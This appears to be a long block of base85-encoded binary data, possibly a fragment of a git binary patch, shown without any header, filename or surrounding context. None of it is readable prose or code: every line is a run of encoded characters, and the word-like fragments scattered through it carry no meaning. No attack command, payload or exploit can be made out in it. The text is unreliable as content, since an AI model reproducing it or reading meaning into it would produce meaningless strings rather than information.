z@i6B~j9+UFG_S|CpZiS~_nRgWKQqsN+B4yw_esys`RpcRK3hTGcdH6Hb${J5XxAMF ze~{O{)b|zV^}gGPOFE9V&q_Ua#5#t~kMlXd7RI^pl;@zI>_0+pat5frqRXKN$GCqq zybbN%E34wu`+!|}9?~^_7hnhXC0iK#k~h^nF};X2<~0>t2HVXk0`V;rz8{yfhkLIIa)^h0CNBZM}^atadPZ`GBy2iSC{U#j0 zPb`Jdm^d?euU{DV`k!#!#@&x~oB8B_#B)BIk3s(#Nw2`X=5L1aJB{?Fe81Oyit)0V z^m3fHioejW7}8I$Zt?d4J&N=K-grAxCW2rb zuy$ICZ#em<)`wrM5{M`879lE)1y0~3a8l5pSNQ1XC7_?w=arnu4;0R;B*`^|J0#`BKI}?9} zEQC}(by2Y+n+TDdc_A>^Yxf8J!0&VmRS1`e(vHHwfZeyf+OrA$*hJKd%h@PVxe*lIJSMMH%7* zHle-^Oa_AX!=LzWQYm9Udgn^C>&t`sB!oEk+5kWB80!f-@7tV5v^CcM7Z*gotX}Xp z4i|B*E&X#a{4Iv#t8F6i=jsSKkxhi?%6CO#44g?^?_Ju#%kTDpew;>_FWb~}g#*Cv zVax~X^FB)o<33AFGsN3xM*e+J75Wi}p&59W5S=-{h&_P*>T%k88ufM(GtJY~=Xu^g zwbx^w^)K~sT<6V)@IZ|}T?VM2eFMK?9BKbNkeB0bI7Ze9;_s|Qe_LQFN-fft7bgF1 z@XO(*zWf=XpRikyU(c`KPhfvLz>{lm{jEy}(5+ZRPF+`|<~jDN(}9zk_)|E4|I}C~ zx%Uz64l>?}?OY4%iV;Tsz1%Bk-yFjI1C@L@9jjSY*xl^~507HIyRxyr{ZVfWqn?kv zg#144YwLQokDT}f^=u!o6vBGq)XW4qD;xJaVvmB~7Y;jeIYV@A5B_SCy?U5e3G~;- zJbKZepa+ckMM2I}_LPI4YrFU0?^D|@#!)-=tAb1%Dh}{GzxKngT;MmifP>L3@0pGU ze}M0A7a~qbPV~!ip*OwGQ-$}b1J#h<9qOmakI?^RuJh>pGG`|#9MuOqye5ypPqgD2~{@%x^ji^>>T zvOHGbC*whP^T5xg+pBMI1;`UH>aL9B_gUb7PX2)%Ay^%2pUE^Jmi7wi;zxLK?>(#sQ z^85+k>xNW9yybadi|Z=sDd&zZ)WaRb$$F$uO3S=(I$TkTFi&0l4SH}~Z@WeL{-pIS z{6x1qVm12f9?Y+Bnh-zpMB-0I-sws|&$p8NKZ9QmfAwYIISR*kUt$mMK_A|X@u>UN zt60z1?@z=9%7rWtU@>rVse&#*&KV|@5=Zl?OU!C;`^bq2g z>kGU1&U*E*knfke#yUfx+vNWT8jB%L8s3}h*&jGM{$JMT5082A&nLhxzC&KS#E~9v zoS!c%6&{Sk)@2!pG}s@q@DAEB5Qe;5p8m6K5%h51Sa;3Gy!nN( zZ`FGVamK^1=2M<-T!%kl>?wNQe`y7&msnF0pL4R66Lvx)81?&8UY(oEN+|-cy~-`=0)eXfcX7ha-acIYowZ zEfhuDch*zXbtk^_`pKtHK(`EfW!}^2_zwL=w2|lHxPO|_IPY3~6zy0J<5BxV&Q73< zTCi_=+A)dFgGar3i~bgRww`A zL;v{|eyi;gQV2MH<2|~sSx;8@1$xLx{Ny~(@b-mQKh>o{gLe17%BDEktZ26r{W>%h z{3(gkE=0=%Khbq^nwK0$$>0w$3d&=Bk9Cz_ z$baAfaI9p&i6niGeh(p|SI^%vK94r$o8gQb;z#r=Epc9-z_@VQ0zZoMvRucrjdi?X zY8=TpX8dm8h;ZmF=?UO#{fBeCC6#eLp)U6ktaIKt8N&6V-WA|in5_uWcNz6F85LSf z8mubs-Hhh`7t4Hcsyy`UoCSjJ?^EsJtOuE%5I(dd`ocpq{a z>m|#mmx`$0RSXgSsjy3c_-WZ+_pGm&~2 zoA?*;jb*jyUIP6cHVN|JPa*#KKf2yK&Zp!1A0K@Ytg@_Ca`lb6T8Mgyvij;vh!=uQ zlx+0wrA3LddWrJVOLP(?%1ak@wOBQm5M4xw7V@1t&*%Iek2~+*=l+rR+i{#ZbK0Ca zb7o#gK=blOczKydpe|=OBKgFSO8k(BF_BGs3DNL~*`L8EMpQPUpkC z7Olj*bRN5m=brbBbI(QO-!l5%^Xq$a*AUOUkk8Lofqtd*;3u5$ZXW`kCokYS|6IVj zYnLW~gPIVVS%>roEkyxVDn$8??tCM}OryT^gX%jC6ZSdiMf+VJ#(#eh^VRUuiIB74 zc}iLG`LqN0^sn;z#b=+ue*AoQF_!onhr0aa7XDK$6@+RRE9lqzjB}PDPeFgKac^t- zbgqw=VE^|>e``MSc^B)iw&&Wj0S`8fP?&dUxJAAM{qaV8>sQU?Ka+5T*Pb6-MVt{o z!fv&_4H*f3tX_zFi^$JE)K__TP3V_C8&V&C*c=y*I*A8`I*i9@Ql%4w~zN7S`34H(hz+R}J&>T@6zZZ9i*ye=s=2 zYloY!L2mYOFFbD^+UIRA{3D+4{MHxq(s^A@-e2owtPAN`UlRGfe5S4I@-Oorqb@qW zBa=I$_agsepZvqxpp%dM zH=hMNOfv4BWwjwU$M{{UC*Q(O?7rY+1nK0A1Af#V$XTx!k6DlMZ-ib3GvR(Vi~idH zaS2iq;&BA#Wz9q8)0BdasR8;Qo&|l~N1c!Q5+6fi-_Q;Zv;_Vz2 zzQjbMo-?28nq%CD`dffb9%KDI(GBx*a)BS2{;6-5Jg|226JHUm3&Sb5D8~6tM&DgN z{(jlkY+k)rJ_Nh<*Fc;JlFlC9zp#Es+=jG;=*s?|EiED8TEsuZKB80(yI1dTvjgAaxwGE?_L2o3R}R5V@T2SG=bz)SLovLf zg2WR3G3!qLQ{Iw3?!;N>?hUSI;CK~r` ztIC5~S8jp9@Z3*HXM70cAo$Le&L?B00&YKspUOX~?^O}dcm4xE@q|z3J=1t&eW}X4 zJ>Y{q93y`4KKKtBacoR$z+V`CQTYw{7oB05l5O?9PM{vS?|^pXJC-~LU%3!^(fjcw z4O~0PCBlt&hEL3Ze(j%NX+uf>Yq`;I9AOBVPTW)dB zsH-d|9se`XIl+02A>1as9N}$wzwemQmlCh~JZ1f7xtGtxt>Dv{k9e!=?P=u01up;g z8|+y3lKv_F4xs-!?EfkC{^xMW-zoWt!W>BaEZacezX0?j2_HNb_(hEVsH82Br*E>C z&wzSYLH-WrY~(H49!g0DTt3AiNH`by$&d6OYh5f%V&PS%RP8-My$;e|1_0`)9etee^ zPc;9lWrL_Y-@q@@u;r)g8);@?zR|{hwzI1HMTmr^-g?)y&aV6;#1dnlp2#|YZS+BP ztKs737SV=%J}QlQeLoEIEv>kcb$~n2??9t(t=eMPLvUY&!rVptYRN$->wNg{L&7)e z_>&X#@vr2&+6kC%)L!T}l=vAEsjp>T`LF2({B)~B z4c~t|)eP}a$CEAc0-CEAt50D?L0&^pUmjJ*mR$FM{G&<#%kQB_-#_r9F3jJ`^Ss_F ziwL9RPYKcq_(5j}>70`fhAaF34|(jbgh%UrUtX_2e$D>O38x^3EW|JRw=1`B5of%6 zQg$;kdVFd0MGPaKzEhwhueYl&T<#NH`D`j0rT(ntnZP(K8X*otdh$K(l%PMiGVI3! z88Mmkok^gt--TF6xE+G^^eG)R8~c=OV?TbE`f{i*d3`{Aag#7^ptM)->q$R28sj?T zrw03rYG3r~u~8EIZc<0^UzGSqAHq(88xY@^mWprJVcgKaKqrj&SLe~5+amtlrTjyO z0q(Dl{Y4Mr*LuV_zZQO^^M^aEH|{pp>)joo7f}p)!6-uHW*(B)sC(QU0zMOrcSzds zez(t9?+(iglCIu^M^FdQa)@sSI{S^^4evucd0GVg==`uP>mgH&`=QMzg1)#5ITWIN zD%^+sj~V&iQ7K-RAO8SIxH09Hn)zO|k?&)8LY?Xc@fXO8KZ?$9OFU?z+`vIc%L+_!ab55O~%KE@!um7g}7xTJj#PbVkeaR(~jQ4Es zW`~@c81G{F*zfA=1&@=*dFuOIE(Gqp>~+W!^!mQ|1;)Kt3igaDgb<$&0NiK%K2g>v zj2rmS>qiasyU<@C9{M@otnA}DbO>_DO!zg{rPrPC!WYRxgyQplxWXJu{2A<%+4W*nd^0zr-5;5~Az#=L#qan`l=Xn5P{x z^0fBq{+g_}8|SLkcyG>b2l>R3pL{oIZ`ZLevk3n^=*l5NY%=nzDg&Wk-+V|+(~0E% z+8F>n>ia=s+JS!XL*zfJNk7>)(97jlu%GONe}4$@&BlF!mi_{ z>&zcBPWt$J%Kb?Hldj<3d5w4?(qb5Uvs`wWnoSE??veMF!{XCerD@qtUFq69e6(euW_z1Ko-7SI>Ahc0NY8w zXE@@&|9zx_EG9fnM~=%l-KXf>{*M6n8}a<~OW0Mfj<6HG zj)&ZI?L4<=WSpb5J_-ChMn7B8hTz|>ft8nOohZe7xB;U-=kLdeGoeNwQNC=T?-+H| zCOt7GH?W$cE#%*N03o%);t?cItDjr&2Bg$i3-(D~M9qgyAF%5dr>&T8 z{&SphEMUa3EjK_v-Z};Jp5r1N=Y~GS3dQpR9W!2S49Mi6;J#)qwjxMt-u7@PBw7+Ur~JgV_lY$9oyU zKPxCqO=n&;m!I6Ch2cj{sNZ?Ux$W*L7}vg?Q_<0Roo^fDaCRa_Oiz9q9>u(zme_|5 zB76+%DuGE}IZvTHC)5BOtCIX3M#jT?Mm)S4f_3D!@s7j@Kllk&!F+9wdsH?~yY-Xr z0^n2ESD$?gKE)oyy`PESej@No38M<0Uj&>I)8H9fijqaJHg)MC%qJ)YgbNZjQb6UQGjZJSUV$H9Y@~t=Bm6e=_5>quPrs7$ z-G;cQ_m69Xq>}{6q^ARHdjfkdv%;&#C#L|va~N=KpS5Jdpz;~s<48w-_BRCFo|;`j z#t}YV7W!O#-zxY8q#;C;YsBa8Q8o^z&@k z1p0yD(6|hn>RZMAOEA)#XAV{G1x1KMte5KeP<%e<_-96_f3NER>02O9hF+|!;Cg@E z=4bGe%cv*xN<}&wA%Xs2N2G3p^*t#C<{LtIZuS{E>@(E)z+~oomyCUAEmg;k5Vq0x z_`L7uYRQGJiOzq@0cr>AXCdm9aX z>G?iv!Ep;9&g5hQ`jI|2sgL}sE9G#i3+M!{f=+2FrU~y62X~@k@G0>})&c!MH0-b* z^`7zs>{+Du<}Kf|&nn11EBUOk`q~aed=M>)t3PifofGT>oNLtiSGU5r{^ppMj)xPj zU?1%m=Q445p_jYHeUKd!0552)kEs~9?H%Ahj`JN@8uPOMggwWS&zf=`uHX6Bz}|HJ zP+|(;KEA`F^QaQ+>ll;<>kg>NcY`;Bf8Xd&)QAZj_qjAzm%cqHOhFn`k3W(h{~9lT z^D&IKy8 z>*GY~w<`DDIq$&lASEG&z5~9)-!0YgIgaalum$3n_Q$T%ApgonUrn;( zgVa|VuN~IpIh{2R{sk|PeHRw&A?9cBspHI%)GnO}vAS_HMOpKcq~P)#?MzdTJafJP zoqNXbk~~oOxrNQVh-`{;V~O7rjsNZlrS=lkj_(Eo4%=<7VwQuzNn z-)VmUKk(jbhh-Fggg9pKKdlPwWH&e;KtAs^Ks=8%>Js%5p!WsKz>kg(waCA1@ZXB# zTBD%fAnC^u?sNrQ`|pgJ;6HRX=xaNPmjk(e;T(a5qsk%szW84KTw|T;&ELPa8hGvV z-B8fCjCUYynP$86t>ln{UN_5c#e6dubv`-j9=iRNwyZ>0f;csy~lqJgAyaR z=lRzs#_yqw;ki|y0qA7my!yzC0LuP-$P-qO{tn(7N@w(G_bd*123L6H{ApLv3Eax3 zC`S{ z&8y$KA2T>CiuBN1^7A-`Q{7AM>shYg$AV4=mGR{ z&*=B7QW*I5OIRjG5hC(A=zsM+=w~3E8AFMG0&!^?;l)d0UzU;Y^J8=&CNZx1;t^MM zpZSq`F8$oXI@eNBK$I4un0m)R`so_49{*z>h;NW&SbnlyL48>&gHJIM>r@iJqCe|$ zVvIMQ+}C+>B;>Epv#N3byY?F9tIrveuYue~8TWcR?w~(@2!E8vOzJ!M8u%TJ_5J=# zz~_zteXZX@$0*Mtu=C^OKQGsp4~%|{ENzkJ+%xvA4$mE~81Ds@9Si#Yk8>)@Iu3_+ z20zYPtVceM8}b?8TP}O$P?-5Z;1uLJm-t~^Ut*1Z$X!y=uAlnv!|!x__>Xmuo<~4m zE?eqL$9&0VzJz}zMCe(pcTvXg-4uJ~!o$TYBmVDO1$#)b0rYh}=ZdOVM~HZ1pB`2a zd|H#SPU-sFUB)r%q&JQ|IRJV3?qR<$mHeOnk@LL;J8wt$h{wPWZiIfnBD`>Rj@ulW zA)>tyX?Y$k)*wzcB>ofbzbYE%$hY@{e&9FoBir`WSB3VoqY3oef^>ceC;vPj!Ky8U zl>z?S(x{JZO9gz3btfGMN~-u4A*>NtFIJQO8TJnZ&UpPd$9~w=WaC`bX8iOU@$(Sh z>(0|1baei<`XcB&zV5ZpX5_~qKO4wToIVe|13API9{&J#5^kJ#f1&5q0rP@3g{b!m zxQ}|c+)k>mKj#%R=9R8H@U7w4Y3g~6*W<=xT&=IlPhscbhMmtR zeR0maZf0hlw#s-f`i6RkGnaU363M@9@P9l#<#QlXQCLqp8#}>Y>|OASPJ}OO1-&Fyft^@{=Vrg< z)I{)^h42mKpm$#Z#Ib>dk8KV6e`?efyR)D6(mc@7_J3#r=s4}Y^D5_qzxX%jP?Yuh zyH+NaZafrxAEP^EdHaU{qI(3o8|3^*rDo>jgQ4kiK;u@i}P3=U27CPjHW=Fm=9^ zY!KuSSRn(E{AQ~E3K8)P@(c{~$}@uT&AEd32CWHkrYYnTxPWzB@4JihUEkX`z^7iv z7s*7?m49HNrAE|rs-(cYUKs1qE#4cljQg+?YJiS!I_P{u{`W|>)p|E2%tJr>OU!GN z(GQSc=I<`P&!`h-*Y7`c^U9$O`x$)fXVCHIBJUZ!oP_ymd$_R&^V)0VlMOo34tK&n zyKuc|&N{y}9sX5<^Qyx7t#2pjYdPPdzgvCa?>^!;t^)b^b65(pjs>7jGXb|=Vx_yx zai22|_>DM_<_+a@8|&t0r2o7rhpxh=Y)I$S25F)gf}KX;=FfV@G1EJ#`)glC$Sag1+Nt1_qwis z$?VCfr!`nX`^gG_l*eA`8^dvJW84$BfbTyLrtmtG&nd5|-`}BM&422Hu-ouakejyi z0&>Hv{N*_;vwn6Ey3BWM{LzS1r$|4J{eeYZfDX|`!bS4)CB|(-{EW>Z=Rkhg|EGla z-VA=S81M5ZCcP2oq^02VD@06&-k>u)g` zr`)d;_dy#Ld-)kfd$7Y`4@p25e)$6;E}yn>5AIZ3%-4=b{E=;7>U*N<%(B0o=gT_I z^eTe+#`MRy+TY(~1|4x4_K($2h}x4W&m`#}@{{E$_5H%W*{I=I*UA7ait&EB?-1Y> z2_L@&aXZr3*F0+me!eXPd}vMf$#C5aHR|>ibL7`;5+S+ zY4jnTJ^S4CUFxwFBoj;c`2nQU6dCM2!proee40T%S}%9m&okQS_ZY`@A@Bz4LMrNO z!y3$MKJSU7B>m-!!DsLg_>3g}M)K)&`$S=mC;nO1CG!03l}|I?YqKNZFE;TP=Y_sR z6YK{+B>mLSk%uQ5_c&%11E1DTul-am2>buVcqi~}68-m}*G~)R^GzdetosG@D;oDE zo(`k^@cnab&-r}3<^%?uD8yq)ij63KS_!pVH`Wjjk`mzo{UmZB^&#YtT zG|ubaa32(E*Dnn^zCItR@eY&!lU$cu4FaEfU8u`@b6;}5_5tyqv46XSk&iuF4Ea0L z5T6?ozclZ~_>F%4R2kvde;V(!G+qrkw7&~}bpBbiJndnUm;a|-sFxQx)QE^?LR@Aa znlsHS&*q!y?-QU$WQjr?OkCQ$izm@90@}269pc7-9FSKBNJFj7fDL%%$ z{6~?=*Cd^DvcW*n-;H(iJvTz1E(d;aE%e)-_=kAT9{AHcua{fFPvl6i{X6U%$s>Rd ztqIYK^!-18{v6T|QT@a6_d1Q=8|}+;tH2Dz0UbYmg=i<$VJGq#XZ58x!?-sZaW$F? z;mwO?rv!IF{_^=C^=*`ioGX8a{rsspz_UfvJMX2U+9~BmKRRIa^NiU5`G-be zT#I2Szw68XA+(da`4xXXz@})&`1#b>?*y7r4mtBF%r8qXA;Ntb6mS`GX>H7OeZ{Oz?XB}pfTxE4gcD~ale=W`^jd+;XRuELeT${_`ClB{!*i_b!0urEz2e%#FZe0)jUeHDZ-9ShJ|Kt7@*_{>5&kA0xydky>1`JOzcgFM$` z1=snr&3gomqM&zVoAN%LjDN2D?RCJ@Ae==Yz>lE%4Kq@Ox*$&lTfb zV`Em*KMVTs8X=Z35C6Ru_<@%R(Lm+N5hBVs=UT^ojTHmV-*VjUlc2AuZ9xZ7ONgE6 z$!AsA)z`!?84f-l8TrP}382&B9pWng#ZCaz;%dR^#}8TnPn zI?&O6`t4MV8)M|#2lD`aav1P+zWS^s_z8Xu{l=32f60&71N)C6{O8)_r*?J)DL{CJ zrY@b_V(yui3ZmmuJJyr^3oHf4C_?0DfOR}j6?K&cq|+)N_#CnTe9D=tFR!96>xYJX zN)euDz~3|8Mj7$;^l9+#=RF9$ZVoRFdHNfB{UtO#^kN%v(&o61G49Lrkmm^FTU#SK~&A#O7Epv_Cdb=h|T+{#WEV+Fv@6j#vnNX?O(Vd4FTvn(U+a zk^_I=j%7-TSvkFcO6XV3%z$S@};-jU))^k)#Hyfp?7f?`5UZ7h*-`y#?V(7 z-=Xyx@6gV<40+x&_SavL|DeJD^2+d2JEf)UsT|Bo4CT1uYsk4V;ZsOQ{0ez$yImgz z{fc;R{iMwaz~34Dgt_=G*)Pu^hcMC)a9ryPj0-OiV$7$o&p;9Qm(KtHT8sI{G(!B* ze%FS5q0Uv;Ct!!vw+~(ciNc zhko^X(fE#wpG!m=@3}4DJ21{`NMIfFpI5WM=YL;-PBGGd+k<|T8|$*x?<>9wVUM&F zrmnjdxKDdn3O&l@Lw%VkpFm1@Rt({r`MYK@$uM8Njy$K|1q{D?D>qi|{wtqR$J@(3 zb`j#GUx@E-#NNle@V7!#VLz%rH8KS0hU)9XxSD9ZS7~vd1vg_Q%0@a{7#|$t{A&#Pao!^?g%E$1j{n;L*ZE0w3)s261QBL^ z3e4*e;WASMCRXt@?1$iZG+Ey zoNvIWb8aWT-@vaq8vHyl*0pr3g9UqIeHqJf-*CQuW4`An!+!Ri^3H3`ZNTkFum6_i z`ABx-z2Xl(aPcF=E29pXSHWf8VvHN5;QuSPUUM+7s5RgxBl%xfpYf_R^!PL3H94-| zIA7jh40Nn1-nf))CE(A}!9Eccg_w5)@U_N$$rj{aT=K4iDLw*ziOXJlZg-92{^A|? z*Vd4yF9478k^fCej1RqGZ_NqcbsBIV^Ryg<|8y2{%xBc4JF|Z1n+(10rC+T49{db6 z?$@u(j(l&=Wbm)!{8O2Tx^Xx#I=dS2Iq5vfO!@x?&nixS&OHQvkoO1M5gwHe_~Iwv z%kZeaSM2YqSPk;Gi2vvevcjeJB(6>rKKIe$P?j_*P4X@l9OM`d$_kDtuUGHa8 zJ>WiNH7Zn-NGEqR5Ct|aWz5jo3?q^-v`9E4g9+sz>nzc^^3Q}_Z#^CUc&lrPp+i+yhk~F z(9ESH8ZP9D+`KY8c1^DFS_D~@>$Bz{Ta+XjBu|09kK zWL%0j^7-nd<2UH!Wxtk4hfHs5Dhym%9-z4P9L#`x<2m_>(Q+{8Ok}*Wjd-={4Cwgw z6;>2<-V(+0h)Y9ZC#6Y$5A_us;@i9Ot{qnD1Yo)31$p)ozoYpux}fi;R2h zOM$e7_~-xNGbDq{kK9Kafnr+vuhMwtM+_U4=}s30Q0)HebXLvl6rtoZU1NL z1769n^HRLW@yIy8SipYxaO1o_@i(mR)&XP!uxcS@cjtQQFQ)j=;|{J*eciGYT-S>l zeh)b~0yEP7*k~@`!gwF7O)nQ7A%aFd@HcheGhF!R!|y`XC_)^6Ou22w`U@|Ub*JkoqoXe>2Ai4@sV?5|s$Gq#;3qSCKujN0KpU!ixQ~*Ez-oPKP{#L$YUm0|wjXtY? zK7(HT1H9|e8otM}z{oSxs6JKsF0Ro>SJDALVglscmgCxdUn0?X&+}Lb*op58#Lqj# zk5F+y&M66cgp}m`7$5BJsKeAGel_CT2L3v}6Z_PNS1(mPIZXKGc;$JR=jnGFLSF?) zKZfJ_Mq=Dugl~P}>QUO;EbyuAeE;u|zpp0f`-$I)bR45UvoHDg8~lGu{HI1;u{75^ zCj}&<{berc1Pwah^IS6UsTY4O=|{E0ymbBl=ohe)IODz6-J~xrd-bxLeJ0VyJ2v0- z0-cPD;78iueJ2n%oWqD4agFBmUdOKb98x|865c+{$;%Y}?D{$OEA7 zdxA((nsnYV|MYc)zb7((>%=dA!(kRTgEcg4F3Gc{0sL9)5S31rwVg1?v*t>3in3n6&)<{KR3+ddv z3_cT#cOgD(4nDs&-bHNE6LhRGSl7~%PJW*M2I`;!1Md*xL3hl{vN0pps2e2zGhw~i)_wUAvL-mS{vnYo{s2{%NKd_cy z+(PrcemaG}Lln5NDbFos!?>~;YhIK!%0{HM&`Fo-7smGVlBeWw# zx(C1yhI;*Lg4!3z`=sA{>HI1W+}-@pss#(t^QzANv>PKJ&vcwuwI&$X{yDpXU=@(> z<%UAe#f|$i%U%HAxePu#kfLc_Jon2^Kx6H z_EWq!t>qc+13a(^@#HY^gIA&V`0o+%bo_bpA^7=l6Zq8mbB0BLM;P*N{uFxu%IL57 z@>`7S?}~h&AIFW>{d-fq_MiM?_Yp~9==@HoxbqKx1!TP$G;q& zsP~mq=2Jd%BNSaNhkVyT-(S<~r}bFJbJoEA6UhHpTwnGYeRmUO0CDASzd%HV)`ZB! zdWgLh`_^%3K`6~Q;0O7;SEWe5eKhPRaKTa#=_cx{#CwHHjQlpNrz`&m;S50pm`nV< z>fU-TVKGmuNO&agOK$uI@`se{Kzol}X>`zHy&*Kt1m zMCyG3^j?VTNNIV|!}yOaFMtkcB|#w zp$7PWXY@1NWK(+v|@PtHF=#{qV;O)Z@)<;B$2+@R^45{h8y&8{?iKJi&lxolCt}gx&2N$n+!US#=zcuYM!<@(D5S%RJ?IqQ5fgpLvKskLU8vUx>`{k+-(`jtWS^20uZque zV9$DgbejAGV!+Sm9QOd<*K%$mu3Chr)%DUHUin`S<+^_b`O;y|YwdO9fxa;4SI6!3 z_rXta8S=5#q~C8M*Zp-R6hyBhH-9JoEa1cH=O>|&8O%zB7HY( zx^f6^0=}--joSrzt~w7t%|iSiiSHx+r-Wx+1^kHSkONjdA+BrzJZ=!^FijBe`Cgy6 z0eDu@Im~l&zj1D!Dhue;y9Io`zw3E~@v132w>#4?79Fwd29hz!dlg#rK1bbv2g)z^a9~_6BlWY4kzeV4XkCsADXgKswWM zDmw6DA-2~AKjHz#)$rr&!}tB?^}A<`w~kTgjAI@f{2P`7Eep|}`n^*RbP$c@{+IXt zcN_bl-HbDdM*OLL2=l#G9dtDPTuN^8y!9C(j194g%#(oMGdJ)dJt5AHgdBp&AqRN9 zy!RRlIovS%M(Tb>`~lGHf@B!Leb&#_ue}iVrr!s?nF4fDP4n9A!hwMM%fk*epP$bM zpT2>Rd@T9@jeTo@?}4xF_8jS3-9bNu_*dCCZWr>>-+Y(!jo%v@-4_1n?*&N?<-8JT zCw2nlbBy!{9RZz*%Q3FbD~{A~{V0>DX!L^(VgHG3^q;)`n(JU8#DBftf6VvrV~o07 zO`by)E($&BI#{*7jN5q;QDwWG`mzj$Ui|CA)t{S_|8;yH$+r;e?HXj`y^nZ>arJuY zYvS^gON8zL=Q=K(^wZvW?o&ij6XJXI``VdAR0^*>O#c-2mfbk-JI;EPZzbfZ{e4*} z;M=3UcDS4COSMmckE}-KZ=V6b`YVi^o%|f7od-91<@r)3c&@+r>p?G9D9`JZf8e^8 zpMonuKZ6nfJLH1>_}0M^!m0OEtgBpo>*XhXFN`Z%VcZAg^B2Z>`xkKDiSP}C`;P&> zmhhWA*BfK>eO-P7eni(ug}H_J4@LrR4~Cr=A)lfZ>@Dz<*B;uc-`|wy;KuI+U1a?H zJ_Pbal$Lo2*X3X{tjjeyZWQ}NoReO8j_wS39ya_j-UmMtC6R}}C7siKA-BMA$gK?F zCuIVl*0t(@>wM-F?|olowyn+|m1jks5+ zJK#BEFfMjyvS0LLtnclN`|{UiLZ#w%3Fucolc>H<^Qf0tuib{#roFAS6rSGK9JgJ3 z*>`carGn#cg&4>F`M@1Wpb_o-l?)f|xWQ{!AGJImoORcI`EISzFPCCB@O@jca@A3z z2=Vh!=07(f`M(%wVl2kP;uv=Y?Jd1bT-|Yfi^CL!F68HnSeO5Bxqe~Y)N$q}&rhBA zu(Vi?yG#z}(y?-Y4#|jBJVz)U2l;Dzm@or+@jIZS<#V(S-~|^#@3MlUzOvGhUHXE* zXEc=XjkMban}MH+@Bz%Pd;?&IOasLszMp9i@al221OCNCb_F>WhTt5A4awtrx4)wh*20FeR71f`0Jn#7f$E^oF>igr>`TkoaBmenVztd~{ zp6r@BkdN~(^jm}zu6-8v>0Ce@=u5@q987+;c;zsg^SWr%-wI{{9e*_9s=RKdzSVQV zzdbHO{aNe1sua5`hXDH)WcsbXJ^87}3gA=gYmTnZr^HTbHSwDq2A?CpgMM{B@C(n0 zl8nC4T6~wrIsklaw@)mT>G%@xGRFO{@;ndn-vj?&lg|wWQ5*ZU9)$1x5&Ioy2INqY@Ns%QDuwmvXTm4d zfPQ_Kpch&GRbSRWFs|RYUo(jH_RGe-j7tq%z2p*6#{J*z^FSxjxR>|x7wECld&~=7 zFT@ts(<&PM62I|x3jD*dv$#wC!)4(`#m_AH6-4JzV^3h*lg95Kt^5n{d&av2BgRlK zC7>6*j+EfNm^VYgr(RF{SH`%uu++GzD7P*VfQxCcADPCeuVib`w_0GPI?p`a-IYVQ zNLUBGYdguCo^fd({H`&`h{`R&|4`%HHV5;`9Y%jtTuR_CtqXgAl!Qoj4DgtE%uCzb znUjD=1p(J_V9N^dZ-*n^)+Ik1cwR4fU;7y0D=HyR2)u@0M-#p@HRcsqhBLi~34{zr(xbeF45J8#UAGr}g&(-)GblCQ7!|`ujte8dpwVeI<(1ZvV!}uJ2+D~=Xm*yJpo<%;wxbepMe)?{Jzp4VevJ^ETX7Jo0#K;qNFQVQj z6;zm=h~Ik`;Qoe%6yz(ytE~b3K@%}Aoo{?x8|%U`8)IDfMy}dik7r<2v56tH`>a&2b<0;<)Uu(DvNxN6hzzk&hL80(}2g z#Gh|SC+{=hhx`maHUAOxQ-5XnX)WSc$_u##vmnk4BfQ-Z*uVd9aRt$F;Dvsd<0$0( z8S%Gq-yQe{^vfs5U(_y(INxs`<@(2glPRI?ek}>r02=!iJ6q=BJiWfoyPw50Q=kFtVKrgWmBy-fhNx=Tz)ZJCO_atoe^S0K4_iMWoW}Y)#fJ11k{ceH{1QDU6$F zCmpnZ)Yk(4)5VfB0Uj?-b$^ ztV@Uj^rJc>fv@wly)!Uwb;I6T)1Libfx-_QH{BfYFS>&NXf9O!&(n|oEUYkP`9gh_ zhJ%0qPq3e8(rNt;r^6ofd|PD#eaCo*y!b-E8ya=9 z%*g-`HSFQ`VEDW5Ap9L%$=_k@1N^4vAh#^!r+FRBH?Y@IkcEV=XMJ*fC+M*#;kTZ1 zUP*{o7)AEKaX%Qf3-q;}e=!62fxM9ODbjg6lXNNqzJl;^;Mtyh}1_RXPvinyaYPF z7hd|QSue8sd+q;hHO#A}F|S`QfX=+HKu6n8A?6Q3BY!CM8hUg-Lwt^*UOwkN%D{+E z6l6T%b$E}dXnXLl^UrZTsmEs6c?}_cpH1MWk#YXphIJ30abB~g9{BNHwG;)Nx5xAS zG`l(AW4W)1YEOF}1N*7ZaSxDAfOHsUL{9m`4X(ZU4q&|-$G^Br{GfrK@n`V=hrxd= z&s+B!_5bfO0N)w!)z|Ob=lauvf4vU=_8s{5@526K1Nnc?zRG+?KG2_i#lC+kDNK32 zQGGf1?s1?QGCiH=M5F_K-@a@LuME(|_P!jKb!?qy<{SaP3swdF9mGE`8&uqP5}Y+& z`@G4zZm=|VM(@c_M)rHW>jiwBC!}IM#4>(|?$re9A0t~cbLaSQBI=a~f$f`8Em^GYK9;gr9%4)WLeTRhkOIAh)K{Sx%g&H;TL zCz}@pJmF`+wZE_DzDz9k+QU)47vvoD;un(+rQ);k`?L3lQ9cbJA6Z^j-^f1^Z-d5q z_c`-MUpe6GIB;<{^y@Ru6T1`xeQ_H3?HTH^Xch3|YzfIEM~Vs$)BpAY;r7zaAqU&_<(e0*7bxd1u%EJV`ECuKfgSVP0b? z=aIW$|JHNZp`O>re4ov^@Ad2By#Ht!^`A>h&bh=Up8q1+%Qjc3RyFQz#2Iem#A>NH z7w+E;cpCDV@D_F`K8HWkdOASw*39*pz+Rm#`dWceP5v{MM2xiAYIog zfce^_Z;u5(c18Gm8p>xp>v)fi{3jXj2l~nY{2BlYsBv?Ts7TasckD|A`vW&v8dJp*??IR6))q$6s7o47k-7m8i1B z@88*#e}q`f--D(Y#4N5aPGQg=Nc_LYKwqoxg3m7rf4dEK=s3vGw0IUMEyv!ZC~+7zRFLiNAR#;7cEY zP8i{5s$zeXC;->?vmqREzGvkBi@tX0M2Jl-nkfpfYWck0Eb!yY2s!*q`disIn2r0^ z2*PLZ9$CPsha9K_ev*uRffcK~p~dvl0FLX=O$xF0<8%0JUD zfIl_v^DaIPeL2SctbB)PZ?6g|PWFxYSe z7d3v@`}}8!Grm`dKM%;~fa8$!M@GK%(H`(4_F(@$oA_C|?q?Z@anllh=O@rPZtTFJPqxCXpGU;E%dW3%^L}RXl3C4Y#1jbv7@fNGUJWr8{ zf%3=Gpwp0iE@B)QWyG0YF_5QY{7!Bp_b+~9|8n^} zY}cFmEe?tGAfJ7Tkp3n_uvA<(E8T*8f_34iHt|!i-)ZUq%qxoU@_!+2_>K3*yYYRw z?#BI>ulT-P(CCL8NVxMA#*HTZ?P^~pSC1)JcS32O!%DbuNyeC8TPn=&h(CtwOE~vm 